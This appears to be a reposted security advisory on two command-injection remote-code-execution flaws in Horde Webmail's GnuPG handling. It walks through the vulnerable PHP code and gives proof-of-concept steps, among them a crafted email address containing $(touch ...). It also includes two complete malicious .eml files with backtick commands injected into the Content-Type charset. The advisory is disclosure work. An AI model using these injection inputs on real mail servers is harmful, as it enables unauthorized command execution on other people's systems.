Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863583599

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Source: https://blogs.securiteam.com/index.php/archives/3107

Vulnerabilities Summary
The following advisory describes two (2) vulnerabilities found in
Horde Groupware Webmail.

Horde Groupware Webmail Edition is a free, enterprise ready, browser
based communication suite. Users can read, send and organize email
messages and manage and share calendars, contacts, tasks, notes,
files, and bookmarks with the standards compliant components from the
Horde Project. Horde Groupware Webmail Edition bundles the separately
available applications IMP, Ingo, Kronolith, Turba, Nag, Mnemo,
Gollem, and Trean.

It can be extended with any of the released Horde applications or the
applications that are still in development, like a bookmark manager or
a file manager.

Affected versions: Horde 5, 4 and 3

The vulnerabilities found in Horde Groupware Webmail are:

Authentication Remote Code Execution
Unauthentication Remote Code Execution

Credit
An independent security researcher has reported this vulnerability to
Beyond Security’s SecuriTeam Secure Disclosure program.

Vendor response
Horde has released a patch to address the vulnerabilities.

For more information:
https://lists.horde.org/archives/horde/Week-of-Mon-20170403/056767.html

Vulnerabilities Details

Authentication Remote Code Execution
Horde Webmail contains a vulnerability that allows a remote attacker
to execute arbitrary code with the privileges of the user who runs the
web server.

For successful attack GnuPG feature should be enabled on the target
server (path to gpg binary should be defined in $conf[gnupg][path]
setting).

Vulnerable code: encryptMessage() function of GPG feature.

Path: /Horde/Crypt/Pgp/Backend/Binary.php:

/* 416 */ public function encryptMessage($text, $params)
/* 417 */ {
/* … */
/* 435 */ foreach (array_keys($params['recips']) as $val) {
/* 436 */ $cmdline[] = '--recipient ' . $val;
#! vulnerable code
/* … */
/* 444 */ /* Encrypt the document. */
/* 445 */ $result = $this->_callGpg(
/* 446 */ $cmdline,
/* 447 */ 'w',
/* 448 */ empty($params['symmetric']) ? null : $params['passphrase'],
/* 449 */ true,
/* 450 */ true
/* 451 */ );

$params[‘recips’] will be added to $cmdline array and passed to _callGpg():

Path: /Horde/Crypt/Pgp/Backend/Binary.php:

/* 642 */ public function _callGpg(
/* 643 */ $options, $mode, $input = array(), $output = false, $stderr = false,
/* 644 */ $parseable = false, $verbose = false
/* 645 */ )
/* 646 */ {
/* … */
/* 675 */ $cmdline = implode(' ', array_merge($this->_gnupg, $options));
/* … */
/* 681 */ if ($mode == 'w') {
/* 682 */ if ($fp = popen($cmdline, 'w')) {                        #!
vulnerable code
/* … */

We can see that our recipients (addresses) will be in command line
that is going to be executed. encryptMessage() function can be reached
by various API, requests. For example it will be called when user try
to send encrypted message.

Our request for encryption and sending our message will be processed
by buildAndSendMessage() method:
Path: /imp/lib/Compose.php

/* 733 */ public function buildAndSendMessage(
/* 734 */ $body, $header, IMP_Prefs_Identity $identity, array $opts = array()
/* 735 */ )
/* 736 */ {
/* 737 */ global $conf, $injector, $notification, $prefs, $registry, $session;
/* 738 */
/* 739 */ /* We need at least one recipient & RFC 2822 requires that no 8-bit
/* 740 */ * characters can be in the address fields. */
/* 741 */ $recip = $this->recipientList($header);
/* ... */
/* 793 */ /* Must encrypt & send the message one recipient at a time. */
/* 794 */ if ($prefs->getValue('use_smime') &&
/* 795 */ in_array($encrypt, array(IMP_Crypt_Smime::ENCRYPT,
IMP_Crypt_Smime::SIGNENC))) {
/* ... */
/* 807 */ } else {
/* 808 */ /* Can send in clear-text all at once, or PGP can encrypt
/* 809 */ * multiple addresses in the same message. */
/* 810 */ $msg_options['from'] = $from;
/* 811 */ $save_msg = $this->_createMimeMessage($recip['list'], $body,
$msg_options);        #! vulnerable code

In line 741 it tries to create recipient list: Horde parsers values of
‘to’, ‘cc’, ‘bcc’ headers and creates list of Rfc822 addresses. In
general there are restrictions for characters in addresses but if we
will use the next format:

display-name <"somemailbox"@somedomain.com>

somemailbox will be parsed by _rfc822ParseQuotedString() method:

Path: /Horde/Mail/Rfc822.php:

/* 557 */ protected function _rfc822ParseQuotedString(&$str)
/* 558 */ {
/* 559 */ if ($this->_curr(true) != '"') {
/* 560 */ throw new Horde_Mail_Exception('Error when parsing a quoted string.');
/* 561 */ }
/* 563 */ while (($chr = $this->_curr(true)) !== false) {
/* 564 */ switch ($chr) {
/* 565 */ case '"':
/* 566 */ $this->_rfc822SkipLwsp();
/* 567 */ return;
/* 569 */ case "\n":
/* 570 */ /* Folding whitespace, remove the (CR)LF. */
/* 571 */ if (substr($str, -1) == "\r") {
/* 572 */ $str = substr($str, 0, -1);
/* 573 */ }
/* 574 */ continue;
/* 576 */ case '\\':
/* 577 */ if (($chr = $this->_curr(true)) === false) {
/* 578 */ break 2;
/* 579 */ }
/* 580 */ break;
/* 581 */ }
/* 583 */ $str .= $chr;
/* 584 */ }
/* 586 */ /* Missing trailing '"', or partial quoted character. */
/* 587 */ throw new Horde_Mail_Exception('Error when parsing a quoted string.');
/* 588 */ }

There are only a few limitations:

we cannot use “
\n will be deleted
we cannot use \ at the end of our mailbox

After creation of recipient list buildAndSendMessage() will call
_createMimeMessage():

Path: /imp/lib/Compose.php

/* 1446 */ protected function _createMimeMessage(
/* 1447 */ Horde_Mail_Rfc822_List $to, $body, array $options = array()
/* 1448 */ )
/* 1449 */ {
/* 1450 */ global $conf, $injector, $prefs, $registry;
/* ... */
/* 1691 */ /* Set up the base message now. */
/* 1692 */ $encrypt = empty($options['encrypt'])
/* 1693 */ ? IMP::ENCRYPT_NONE
/* 1694 */ : $options['encrypt'];
/* 1695 */ if ($prefs->getValue('use_pgp') &&
/* 1696 */ !empty($conf['gnupg']['path']) &&
/* 1697 */ in_array($encrypt, array(IMP_Crypt_Pgp::ENCRYPT,
IMP_Crypt_Pgp::SIGN, IMP_Crypt_Pgp::SIGNENC,
IMP_Crypt_Pgp::SYM_ENCRYPT, IMP_Crypt_Pgp::SYM_SIGNENC))) {
/* 1698 */ $imp_pgp = $injector->getInstance('IMP_Crypt_Pgp');
/* ... */
/* 1727 */ /* Do the encryption/signing requested. */
/* 1728 */ try {
/* 1729 */ switch ($encrypt) {
/* ... */
/* 1735 */ case IMP_Crypt_Pgp::ENCRYPT:
/* 1736 */ case IMP_Crypt_Pgp::SYM_ENCRYPT:
/* 1737 */ $to_list = clone $to;
/* 1738 */ if (count($options['from'])) {
/* 1739 */ $to_list->add($options['from']);
/* 1740 */ }
/* 1741 */ $base = $imp_pgp->IMPencryptMIMEPart($base, $to_list,
($encrypt == IMP_Crypt_Pgp::SYM_ENCRYPT) ?
$symmetric_passphrase : null);
/* 1742 */ break;

Here we can see validation (1695-1696 lines) that:

Current user has enabled “use_pgp” feature in his preferences (it is
not a problem as an attacker can edit his own preferences)
$conf[‘gnupg’][‘path’] is not empty. This value can be edited only by
admin. So if we don’t have value here our server is not vulnerable.
But if admin wants to allow users to use GPG feature he/she needs to
define value for this config.

Also we can see that in lines 1737-1739 to our recipient list will be
added address “from” as well.

Path: /imp/lib/Crypt/Pgp.php

/* 584 */ public function impEncryptMimePart($mime_part,
/* 585 */ Horde_Mail_Rfc822_List $addresses,
/* 586 */ $symmetric = null)
/* 587 */ {
/* 588 */ return $this->encryptMimePart($mime_part,
$this->_encryptParameters($addresses, $symmetric));
/* 589 */ }

Before encryptMimePart() call Horde uses _encryptParameters()

Path: /imp/lib/Crypt/Pgp.php

/* 536 */ protected function _encryptParameters(Horde_Mail_Rfc822_List
$addresses,
/* 537 */ $symmetric)
/* 538 */ {
/* ... */
/* 546 */ $addr_list = array();
/* 548 */ foreach ($addresses as $val) {
/* 549 */ /* Get the public key for the address. */
/* 550 */ $bare_addr = $val->bare_address;
/* 551 */ $addr_list[$bare_addr] = $this->getPublicKey($bare_addr);
/* 552 */ }
/* 554 */ return array('recips' => $addr_list);
/* 555 */ }

Horde will add to each address its Public Key. There a few source of
Public Keys:

AddressBook (we will use this source)
Servers with Public Keys

Note that Horde should be able to find Public Key for our “From”
address as well.
We can generate pair of PGP keys (https is required) or we can use the
same trick with AddressBook (we can create some contact, add any valid
Public PGP key, and add this address to default identity)
encryptMimePart() will call encrypt() method

Path: /Horde/Crypt/Pgp.php

/* 773 */ public function encryptMIMEPart($mime_part, $params = array())
/* 774 */ {
/* 775 */ $params = array_merge($params, array('type' => 'message'));
/* … */
/* 781 */ $message_encrypt = $this->encrypt($signenc_body, $params);

It will call encryptMessage()

Path: /Horde/Crypt/Pgp.php

/* 554 */ public function encrypt($text, $params = array())
/* 555 */ {
/* 556 */ switch (isset($params['type']) ? $params['type'] : false) {
/* 557 */ case 'message':
/* 558 */ $error = Horde_Crypt_Translation::t(
/* 559 */ "Could not PGP encrypt message."
/* 560 */ );
/* 561 */ $func = 'encryptMessage';
/* 562 */ break;
/* ... */
/* 586 */ $this->_initDrivers();
/* 587 */
/* 588 */ foreach ($this->_backends as $val) {
/* 589 */ try {
/* 590 */ return $val->$func($text, $params);
/* 591 */ } catch (Horde_Crypt_Exception $e) {}
/* 592 */ }

In conclusions:
If Horde server has enabled “GnuPG feature” any unprivileged user is
able to execute arbitrary code.

Enable GPG feature for attacker account (“Enable PGP functionality?”
checkbox on “PGP Configure PGP encryption support.” section in
Prefferences->Mail page )
Create some contact in the attacker AddressBook, add any valid Public
PGP key, and add this address to default identity
Create another contact in the attacker AddressBook, add any valid
Public PGP key, and change email address to some$(desired command to
execute) contact@somedomain.com
Create a new message to some$(desired command to execute) contact@somedomain.com
Choose Encryption:PGP Encrypt Message option
Click Send button

And desired command will be executed on the Horde server.

Proof of Concept – Authenticated Code Execution

For Proof of Concept we can use preconfigured image of Horde server
from Bitnami (Bitnami – “Easy to use cloud images, containers, and VMs
that work on any platform”):

https://downloads.bitnami.com/files/stacks/horde/5.2.17-0/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova

Step 1 – Login as admin (by default user:bitnami) and go to
Administration -> Configuration and choose Horde (horde). Open GnuPG
tab, enter /usr/bin/gpg into $conf[gnupg][path] setting and click
“Generate Horde Configuration“:

Now we have enabled GPG feature on our server and we can login as
regular user and try to execute desired commands. But Bitnami image
does not have installed and configured Mail server so we need to use
external one or install it on local machine.

We will use gmail account (to be able to login to it from Horde I had
to change Gmail account setting Allow less secure apps: ON).

To use external Mail server we need to change the next setting:
“Administrator Panel” -> “Configuration” -> “Horde” ->
“Authentication”

Step 2 – Configure Horde web-mail authentication ($conf[auth][driver])
to “Let a Horde application handle authentication” and click “Generate
Horde Configuration”:

Step 3 – logout and login with your gmail account. Currently we are
login as regular user so we can try to execute desired commands:

Go to Preferences -> Mail and click on PGP link. Check Enable PGP
functionality? checkbox and click “Save”:

Create “from” contact in our AddressBook: “Address Book -> New Contact
-> in Address Book of …”

Personal tab – Last Name: mymailboxwithPGPkey
Communication tab – Email: mymailboxwihPGP@any.com
Other tab – PGP Public Key: any valid Public PGP key.

For example:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: SKS 1.1.6
Comment: Hostname: keyserver.ubuntu.com
mQGiBDk89iARBADhB7AyHQ/ZBlZjRRp1/911XaXGGmq1LDLTUTCAbJyQ1TzKDdetfT9Szk01
YPdAnovgzxTS89svuVHP/BiqLqhJMl2FfMLcJX+va+DujGuLDCZDHi+4czc33N3z8ArpxzPQ
5bfALrpNMJi6v2gZkDQAjMoeKrNEfXLCXQbTYWCuhwCgnZZCThya4xhmlLCTkwsQdMjFoj8D
/iOIP/6W27opMJgZqTHcisFPF6Kqyxe6GAftJo6ZtLEG26k2Qn3O0pghDz2Ql4aDVki3ms82
z77raSqbZVJzAFPzYoIKuc3JOoxxE+SelzSzj4LuQRXYKqZzT8/qYBCLg9cmhdm8PnwE9fd/
POGnNQFMk0i2xSz0FMr9R1emIKNsA/454RHIZ39ebvZzVULS1pSo6cI7DAJFQ3ejJqEEdAbr
72CW3eFUAdF+4bJQU/V69Nr+CmziBbyqKP6HfiUH9u8NLrYuK6XWXLVVSCBPsOxHxhw48hch
zVxJZ5Cyo/tMSOY/CxvLL/vMoT2+kQX1SCsWALosKJyOGbpCJmPasOLKdrQnQWxpY2UgKFJl
Y2h0c2Fud8OkbHRpbikgPGFsaWNlQGN5Yi5vcmc+iEYEEBECAAYFAjk+IEgACgkQzDSD4hsI
fQSaWQCgiDvvnRxa8XFOKy/NI7CKL5X4D28An2k9Cbh+dosXvB5zGCuQiAkLiQ+CiEYEEREC
AAYFAkKTPFcACgkQCY+3LE2/Ce4l+gCdFSHqp5HQCMKSOkLodepoG0FiQuwAnR2nioCQ3A5k
YI0NfUth+0QzJs1ciFYEExECABYFAjk89iAECwoEAwMVAwIDFgIBAheAAAoJEFsqCm37V5ep
fpAAoJezEplLlaGQHM8ppKReVHSyGuX+AKCYwRcwJJwoQHM8p86xhSuC/opYPoheBBMRAgAW
BQI5PPYgBAsKBAMDFQMCAxYCAQIXgAASCRBbKgpt+1eXqQdlR1BHAAEBfpAAoJezEplLlaGQ
HM8ppKReVHSyGuX+AKCYwRcwJJwoQHM8p86xhSuC/opYPrkBDQQ5PPYqEAQArSW27DriJAFs
Or+fnb3VwsYvznFfEv8NJyM/9/lDYfIROHIhdKCWswUWCgoz813RO2taJi5p8faM048Vczu/
VefTzVrsvpgXUIPQoXjgnbo6UCNuLqGk6TnwdJPPNLuIZLBEhGdA+URtFOA5tSj67h0G4fo0
P8xmsUXNgWVxX/MAAwUD/jUPLFgQ4ThcuUpxCkjMz+Pix0o37tOrFOU/H0cn9SHzCQKxn+iC
sqZlCsR+qXNDl43vSa6Riv/aHtrD+MJLgdIVkufuBWOogtuojusnFGY73xvvM1MfbG+QaUqw
gfe4UYOchLBNVtfN3WiqSPq5Yhue4m1u/xIvGGJQXvSBxNQyiEYEGBECAAYFAjk89ioACgkQ
WyoKbftXl6kV5QCfV7GjnmicwJPgxUQbDMP9u5KuVcsAn3aSmYyI1u6RRlKoThh0WEHayISv
iE4EGBECAAYFAjk89ioAEgkQWyoKbftXl6kHZUdQRwABARXlAJ9XsaOeaJzAk+DFRBsMw/27
kq5VywCfdpKZjIjW7pFGUqhOGHRYQdrIhK8=
=RHjX
-----END PGP PUBLIC KEY BLOCK-----

Click “Add” button:

Go to Preferences -> Global Preferences and click on Personal
Information link. Put mymailboxwihPGP@any.com into field The default
e-mail address to use with this identity and Click “Save”:

Create our “to” contact in our AddressBook: “Address Book -> New
Contact -> in Address Book of …”

Personal tab – Last Name: contact_for_attack
Communication tab – Email: hereinj@any.com
Other tab – PGP Public Key: any valid Public PGP key (it can be the
same as in the previous step)
And click “Add” button:

Inject our command: Click on Edit. Go to Communication Tab, put cursor
in Email field and chose “Inspect Element (Q)” from context menu:

Delete “email” from the type argument and close Inspector:

1
<input name="object[email]" id="object_email_" value="hereinj@any.com"
type="email">

Edit the address as we want – for example hereinj$(touch
/tmp/hereisvuln)@any.com and click “Save”:

Create a new message ( Mail -> New Message) with our contact as recipient:

Choose PGP Encrypt Message in Encryption option:

Enter any subject and any content. Click “Send”

We will get “PGP Error:…”

It is ok – let’s check our server:

We have a new file “hereisvuln” so our command was executed.

Unauthentication Remote Code Execution
Horde Webmail contains a vulnerability that allows a remote attacker
to execute arbitrary code with the privileges of the user who runs the
web server.

Vulnerable code: decryptSignature() function of GPG feature.

Path: /Horde/Crypt/Pgp/Backend/Binary.php:

/* 539 */ public function decryptSignature($text, $params)
/* 540 */ {
/* ... */
/* 550 */ /* Options for the GPG binary. */
/* 551 */ $cmdline = array(
/* 552 */ '--armor',
/* 553 */ '--always-trust',
/* 554 */ '--batch',
/* 555 */ '--charset ' . (isset($params['charset']) ?
$params['charset'] : 'UTF-8'),
/* 556 */ $keyring,
/* 557 */ '--verify'
/* 558 */ );
/* ... */
/* 571 */ $result = $this->_callGpg($cmdline, 'r', null, true, true, true);
/* ... */

$params[‘charset’] will be added to $cmdline array and passed to _callGpg():

/* 642 */ public function _callGpg(
/* 643 */ $options, $mode, $input = array(), $output = false, $stderr = false,
/* 644 */ $parseable = false, $verbose = false
/* 645 */ )
/* 646 */ {
/* … */
/* 675 */ $cmdline = implode(' ', array_merge($this->_gnupg, $options));
/* … */
/* 681 */ if ($mode == 'w') {
/* … */
/* 704 */ } elseif ($mode == 'r') {
/* 705 */ if ($fp = popen($cmdline, 'r')) {
/* … */

Our $params[‘charset’] will be in command line that is going to be executed.

decryptSignature() is called from decrypt() method:

Path – /Horde/Crypt/Pgp.php:

/* 611 */ public function decrypt($text, $params = array())
/* 612 */ {
/* 613 */ switch (isset($params['type']) ? $params['type'] : false) {
/* 614 */ case 'detached-signature':
/* 615 */ case 'signature':
/* 616 */ /* Check for required parameters. */
/* 617 */ if (!isset($params['pubkey'])) {
/* 618 */ throw new InvalidArgumentException(
/* 619 */ 'A public PGP key is required to verify a signed message.'
/* 620 */ );
/* 621 */ }
/* 622 */ if (($params['type'] === 'detached-signature') &&
/* 623 */ !isset($params['signature'])) {
/* 624 */ throw new InvalidArgumentException(
/* 625 */ 'The detached PGP signature block is required to verify the
signed message.'
/* 626 */ );
/* 627 */ }
/* 628 */
/* 629 */ $func = 'decryptSignature';
/* 630 */ break;
/* ... */
/* 650 */ $this->_initDrivers();
/* 651 */
/* 652 */ foreach ($this->_backends as $val) {
/* 653 */ try {
/* 654 */ return $val->$func($text, $params);
/* 655 */ } catch (Horde_Crypt_Exception $e) {}
/* 656 */ }
/* ... */

decrypt() with needed parameters is used in verifySignature():

Path – /imp/lib/Crypt/Pgp.php

/* 339 */ public function verifySignature($text, $address, $signature = '',
/* 340 */ $charset = null)
/* 341 */ {
/* 342 */ if (!empty($signature)) {
/* 343 */ $packet_info = $this->pgpPacketInformation($signature);
/* 344 */ if (isset($packet_info['keyid'])) {
/* 345 */ $keyid = $packet_info['keyid'];
/* 346 */ }
/* 347 */ }
/* 349 */ if (!isset($keyid)) {
/* 350 */ $keyid = $this->getSignersKeyID($text);
/* 351 */ }
/* 353 */ /* Get key ID of key. */
/* 354 */ $public_key = $this->getPublicKey($address, array('keyid' => $keyid));
/* 356 */ if (empty($signature)) {
/* 357 */ $options = array('type' => 'signature');
/* 358 */ } else {
/* 359 */ $options = array('type' => 'detached-signature', 'signature'
=> $signature);
/* 360 */ }
/* 361 */ $options['pubkey'] = $public_key;
/* 363 */ if (!empty($charset)) {
/* 364 */ $options['charset'] = $charset;
/* 365 */ }
/* 369 */ return $this->decrypt($text, $options);
/* 370 */ }

verifySignature() is called from _outputPGPSigned():

Path – /imp/lib/Mime/Viewer/Pgp.php

/* 387 */ protected function _outputPGPSigned()
/* 388 */ {
/* 389 */ global $conf, $injector, $prefs, $registry, $session;
/* 390 */
/* 391 */ $partlist = array_keys($this->_mimepart->contentTypeMap());
/* 392 */ $base_id = reset($partlist);
/* 393 */ $signed_id = next($partlist);
/* 394 */ $sig_id = Horde_Mime::mimeIdArithmetic($signed_id, 'next');
/* 395 */
/* 396 */ if (!$prefs->getValue('use_pgp') || empty($conf['gnupg']['path'])) {
/* 397 */ return array(
/* 398 */ $sig_id => null
/* 399 */ );
/* 400 */ }
/* ... */
/* 417 */ if ($prefs->getValue('pgp_verify') ||
/* 418 */ $injector->getInstance('Horde_Variables')->pgp_verify_msg) {
/* 419 */ $imp_contents = $this->getConfigParam('imp_contents');
/* 420 */ $sig_part = $imp_contents->getMIMEPart($sig_id);
/* ... */
/* 433 */ try {
/* 434 */ $imp_pgp = $injector->getInstance('IMP_Crypt_Pgp');
/* 435 */ if ($sig_raw =
$sig_part->getMetadata(Horde_Crypt_Pgp_Parse::SIG_RAW)) {
/* 436 */ $sig_result = $imp_pgp->verifySignature($sig_raw,
$this->_getSender()->bare_address, null, $sig_part-
> getMetadata(Horde_Crypt_Pgp_Parse::SIG_CHARSET));
/* ... */

And it is used in _renderInline():

Path – /imp/lib/Mime/Viewer/Pgp.php

/* 134 */ protected function _renderInline()
/* 135 */ {
/* 136 */ $id = $this->_mimepart->getMimeId();
/* 138 */ switch ($this->_mimepart->getType()) {
/* ... */
/* 142 */ case 'multipart/signed':
/* 143 */ return $this->_outputPGPSigned();

Let’s go back to _outputPGPSigned() method. We can see a few
requirements before the needed call:

$conf[‘gnupg’][‘path’] should be not empty. This value can be edited
only by admin(if he/she wants to allow users to use GPG feature he/she
needs to define value for this config).
Current user has enabled “use_pgp” feature in his preferences
Current user has enabled “pgp_verify” feature in his preferences
Current user has enabled “pgp_verify” feature in his preferences

Also we see that our charset value is taken from $sig_part ->
getMetadata(Horde_Crypt_Pgp_Parse::SIG_CHARSET)

Our value will be stored during parsing of PGP parts:

Path – /Horde/Crypt/Pgp/Parse.php

/* 150 */ public function parseToPart($text, $charset = 'UTF-8')
/* 151 */ {
/* 152 */ $parts = $this->parse($text);
/* ... */
/* 162 */ while (list(,$val) = each($parts)) {
/* 163 */ switch ($val['type']) {
/* ... */
/* 200 */ case self::ARMOR_SIGNED_MESSAGE:
/* 201 */ if ((list(,$sig) = each($parts)) &&
/* 202 */ ($sig['type'] == self::ARMOR_SIGNATURE)) {
/* 203 */ $part = new Horde_Mime_Part();
/* 204 */ $part->setType('multipart/signed');
/* 205 */ // TODO: add micalg parameter
/* 206 */ $part->setContentTypeParameter('protocol',
'application/pgp-signature');
/* 207 */
/* 208 */ $part1 = new Horde_Mime_Part();
/* 209 */ $part1->setType('text/plain');
/* 210 */ $part1->setCharset($charset);
/* 211 */
/* 212 */ $part1_data = implode("\n", $val['data']);
/* 213 */ $part1->setContents(substr($part1_data, strpos($part1_data,
"\n\n") + 2));
/* 214 */
/* 215 */ $part2 = new Horde_Mime_Part();
/* 216 */
/* 217 */ $part2->setType('application/pgp-signature');
/* 218 */ $part2->setContents(implode("\n", $sig['data']));
/* 219 */
/* 220 */ $part2->setMetadata(self::SIG_CHARSET, $charset);
/* 221 */ $part2->setMetadata(self::SIG_RAW, implode("\n",
$val['data']) . "\n" . implode("\n", $sig['data']));
/* 222 */
/* 223 */ $part->addPart($part1);
/* 224 */ $part->addPart($part2);
/* 225 */ $new_part->addPart($part);
/* 226 */
/* 227 */ next($parts);
/* 228 */ }
/* 229 */ }
/* 230 */ }
/* 231 */
/* 232 */ return $new_part;
/* 233 */ }

It is called from _parsePGP():

Path – /imp/lib/Mime/Viewer/Plain.php

×
1
2
3
4
5
6
7
8
/* 239 */ protected function _parsePGP()
/* 240 */ {
/* 241 */ $part =
$GLOBALS['injector']->getInstance('Horde_Crypt_Pgp_Parse')->parseToPart(
/* 242 */ new Horde_Stream_Existing(array(
/* 243 */ 'stream' => $this->_mimepart->getContents(array('stream' => true))
/* 244 */ )),
/* 245 */ $this->_mimepart->getCharset()
/* 246 */ );

Our charset value is taken from CHARSET attribute of Content-Type
header of parent MIMEpart.

_parsePGP() is used in _getEmbeddedMimeParts() method and from Horde
Webmail ver 5.2.0 it looks like:

Path – /imp/lib/Mime/Viewer/Plain.php

/* 222 */ protected function _getEmbeddedMimeParts()
/* 223 */ {
/* 224 */ $ret = $this->getConfigParam('pgp_inline')
/* 225 */ ? $this->_parsePGP()
/* 226 */ : null;

We can see an additional requirement – our function will be called
only if ‘pgp_inline‘ config parameter is “true”. It is defined in:

Path – /imp/config/mime_drivers.php

/* 37 */ /* Scans the text for inline PGP data. If true, will strip this data
/* 38 */ * out of the output (and, if PGP is active, will display the
/* 39 */ * results of the PGP action). */
/* 40 */ 'pgp_inline' => false

Default value is false, so the major part of Horde servers is not
vulnerable and our attack is relevant only if an admin manually has
changed this line to ‘pgp_inline‘ => true.

But in older versions (before 5.2.0) the code of
_getEmbeddedMimeParts() is a bit different:

Path – /imp/lib/Mime/Viewer/Plain.php

/* 227 */ protected function _getEmbeddedMimeParts()
/* 228 */ {
/* 229 */ $ret = null;
/* 230 */
/* 231 */ if (!empty($GLOBALS['conf']['gnupg']['path']) &&
/* 232 */ $GLOBALS['prefs']->getValue('pgp_scan_body')) {
/* 233 */ $ret = $this->_parsePGP();
/* 234 */ }

So instead of requirement to have config parameter we have requirement
of ‘pgp_scan_body‘ Preference of current user. And it is more likely
to find a victim with needed preferences. We saw where our injected
command is executed and from where and when it is taken

During rendering of massage we:

Will parse PGP values:

#0 IMP_Mime_Viewer_Plain->_parsePGP() called at
[/imp/lib/Mime/Viewer/Plain.php:225]
#1 IMP_Mime_Viewer_Plain->_getEmbeddedMimeParts() called at
[/Horde/Mime/Viewer/Base.php:298]
#2 Horde_Mime_Viewer_Base->getEmbeddedMimeParts() called at
[/imp/lib/Contents.php:1114]
#3 IMP_Contents->_buildMessage() called at [/imp/lib/Contents.php:1186]
#4 IMP_Contents->getContentTypeMap() called at [/imp/lib/Contents.php:1423]
#5 IMP_Contents->getInlineOutput() called at
[/imp/lib/Ajax/Application/ShowMessage.php:296]

Will use them in:

#0 IMP_Mime_Viewer_Plain->_parsePGP() called at
[/imp/lib/Mime/Viewer/Plain.php:225]
#0 IMP_Mime_Viewer_Pgp->_renderInline() called at
[/Horde/Mime/Viewer/Base.php:156]
#1 Horde_Mime_Viewer_Base->render() called at [/Horde/Mime/Viewer/Base.php:207]
#2 Horde_Mime_Viewer_Base->_renderInline() called at
[/Horde/Mime/Viewer/Base.php:156]
#3 Horde_Mime_Viewer_Base->render() called at [/imp/lib/Contents.php:654]
#4 IMP_Contents->renderMIMEPart() called at [/imp/lib/Contents.php:1462]
#5 IMP_Contents->getInlineOutput() called at
[/imp/lib/Ajax/Application/ShowMessage.php:296]]

In conclusions:

If Horde server has vulnerable configuration:

Enabled “GnuPG feature” (there is path to gpg binary in
$conf[gnupg][path] setting)
Only for ver 5.2.0 and newer: ‘pgp_inline’ => true, in
/imp/config/mime_drivers.php

And the victim has checked the next checkbox in his/her preferences (
“PGP Configure PGP encryption support.” in Prefferences->Mail) :

“Enable PGP functionality”
“Should PGP signed messages be automatically verified when viewed?” if
it is not checked our command will be executed when the victim clicks
on the link “Click HERE to verify the message.”
For versions before 5.2.0: “Should the body of plaintext message be
scanned for PGP data”

An attacker can create email with PGP data, put desired command into
CHARSET attribute of ContentType header, and this command will be
executed on Horde server when the victim opens this email.

Proof of Concept – Remote Code Execution

For Proof of Concept we can use preconfigured image of Horde server
from Bitnami (Bitnami – “Easy to use cloud images, containers, and VMs
that work on any platform”):

https://downloads.bitnami.com/files/stacks/horde/5.2.17-0/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova

Step 1 – Login as admin (by default user:bitnami) and go to
Administration -> Configuration and choose Horde (horde). Open GnuPG
tab, enter /usr/bin/gpg into $conf[gnupg][path] setting and click
“Generate Horde Configuration“:

Now we have enabled GPG feature on our server and we can login as
regular user and try to execute desired commands. But Bitnami image
does not have installed and configured Mail server so we need to use
external one or install it on local machine.

We will use gmail account (to be able to login to it from Horde I had
to change Gmail account setting Allow less secure apps: ON).

To use external Mail server we need to change the next setting:
“Administrator Panel” -> “Configuration” -> “Horde” ->
“Authentication”

Configure the application authentication ($conf[auth][driver]) –
change this option to “Let a Horde application handle authentication”
and click “Generate Horde Configuration”.

If we have Horde Webmail ver 5.2.0 or newer we need to edit
/imp/config/mime_drivers.php file. Login to the console of bitnami
image (default bitnami:bitnami) and run the next command:

sudo nano /opt/bitnami/apps/horde/htdocs/imp/config/mime_drivers.php

Change the line: “‘pgp_inline’ => false” to “‘pgp_inline’ => true” and
save the changes.

Step 2 – Logout and login with your gmail account.

Step 3 – Go to Preferences -> Mail and click on PGP link:

Check Enable PGP functionality checkbox and click “Save”
Check Should PGP signed messages be automatically verified when viewed checkbox
For versions before 5.2.0 check “Should the body of plain-text message
be scanned for PGP data” checkbox Click “Save”

For version before 5.2.0:

Step 4 – Go to the Mail, take any mail folder (for example Drafts),
and chose “Import” item from context menu and import attack_whoami.eml
file (in the end of this blog).

Click on the imported email:

Our Horde serve is launched under daemon user

Step 5 – We can do the same with attack_touch.eml (in the end of this
blog) file (import it and click on the new mail) and check /tmp
folder:

attack_touch.eml

Date: Fri, 04 Nov 2016 16:04:19 +0000
Message-ID: <20161104160419.Horde.HpYObg_3-4QS-nUzWujEkg3@ubvm.mydomain.com>
From: Donald Trump <attacker@attacker.com>
To: SomeUser@mydoamin.com
Subject: PGP_INLine_touch_tmp_youarevuln
X-IMP-Draft: Yes
Content-Type: text/plain; CHARSET="US-ASCII`touch /tmp/youarevuln`";
format=flowed; DelSp=Yes
MIME-Version: 1.0
Content-Disposition: inline


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

This is a sample of a clear signed message.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMoSCcM4T3nOFCCzVAQF4aAP/eaP2nssHHDTHyPBSjgwyzryguwBd2szF
U5IFy5JfU+PAa6NV6m/UWW8IKczNX2cmaKQNgubwl3w0odFQPUS+nZ9myo5QtRZh
DztuhjzJMEzwtm8KTKBnF/LJ9X05pSQUvoHfLZ/waJdVt4E/xfEs90l8DT1HDdIz
CvynscaD+wA=
=Xb9n
-----END PGP SIGNATURE-----

attack_whoami.eml

Date: Fri, 04 Nov 2016 16:04:19 +0000
Message-ID: <20161104160419.Horde.HpYObg_3-4QS-nUzWujEkg3@ubvm.mydomain.com>
From: Donald Trump <attacker@attacker.com>
To: SomeUser@mydoamin.com
Subject: PGP_INLine_whoami
X-IMP-Draft: Yes
Content-Type: text/plain; CHARSET=US-ASCII`whoami`; format=flowed; DelSp=Yes
MIME-Version: 1.0
Content-Disposition: inline


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

This is a sample of a clear signed message.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMoSCcM4T3nOFCCzVAQFJaAP/eaP2nssHHDTHyPBSjgwyzryguwBd2szF
U5IFy5JfU+PAa6NV6m/UWW8IKczNX2cmaKQNgubwl3w0odFQPUS+nZ9myo5QtRZh
DztuhjzJMEzwtm8KTKBnF/LJ9X05pSsUvoHfLZ/waJdVt4E/xfEs90l8DT1HDdIz
